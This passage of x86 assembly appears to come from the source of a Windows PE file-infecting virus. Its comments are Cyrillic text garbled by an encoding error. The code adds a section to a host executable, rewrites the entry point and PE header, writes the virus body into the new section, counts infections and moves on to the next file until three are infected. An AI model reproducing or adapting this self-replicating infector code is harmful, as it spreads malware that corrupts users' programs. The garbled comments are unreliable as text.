;Π‘ΠΊΠΎΠΏΠΈΡΡΠ΅ΠΌ Π½ΠΎΠ²ΡΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ Π² ΡΠ°Π±Π»ΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
mov ecx,10
rep movsd
;ΠΡΡΠΈΡΠ»ΠΈΠΌ ΡΠΎΡΠΊΡ Π²Ρ ΠΎΠ΄Π° RVA
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax,ebx
add eax,5
;Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΠ΅ Π΄Π»Ρ Π²ΠΎΠ·Π²ΡΠ°ΡΠ° Π² Π½ΠΎΡΠΈΡΠ΅Π»Ρ
mov dword ptr [ebp+offset subme],eax
;ΠΠΎΡΡΠ°Π²ΠΈΠΌ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ ΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΠ΅Π½ΠΈΡ/Π·Π°ΠΏΠΈΡΠΈ Π½Π° Π½Π°ΡΠ°Π»ΠΎ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;ΠΠ°ΠΏΠΈΡΠ΅ΠΌ PEβΠ·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΡΠ°Π±Π»ΠΈΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ² Π² ΡΠ°ΠΉΠ»
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Π£Π²Π΅Π»ΠΈΡΠΈΠΌ ΡΡΠ΅ΡΡΠΈΠΊ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
inc byte ptr [ebp+offset countinfect]
;ΠΠΎΡΡΠ°Π²ΠΈΠΌ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ ΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΠ΅Π½ΠΈΡ/Π·Π°ΠΏΠΈΡΠΈ
;ΠΏΠΎ ΡΠΈΠ·ΠΈΡΠ΅ΡΠΊΠΎΠΌΡ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡΠ°
push 0
push 0
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;ΠΠ°ΠΏΠΈΡΠ΅ΠΌ ΡΠ΅Π»ΠΎ Π²ΠΈΡΡΡΠ° Π² Π½ΠΎΠ²ΡΠΉ ΠΎΠ±ΡΠ΅ΠΊΡ
push 0
lea eax,[ebp+offset bytesread]
push eax
push vendβvstart
lea eax,[ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;ΠΠ°ΠΊΡΠΎΠ΅ΠΌ ΡΠ°ΠΉΠ»
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
;ΠΠ΅ΡΠ΅Ρ ΠΎΠ΄ ΠΊ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌΡ ΡΠ°ΠΉΠ»Ρ
findnextone:
;ΠΡΠΎΠ²Π΅ΡΠΈΠΌ, ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°ΠΉΠ»ΠΎΠ² Π·Π°ΡΠ°Π·ΠΈΠ»ΠΈ: Π΅ΡΠ»ΠΈ 3,
;ΡΠΎ Π²ΡΡ ΠΎΠ΄ΠΈΠΌ, Π΅ΡΠ»ΠΈ ΠΌΠ΅Π½ΡΡΠ΅ β ΠΈΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ
cmp byte ptr [ebp+offset countinfect],3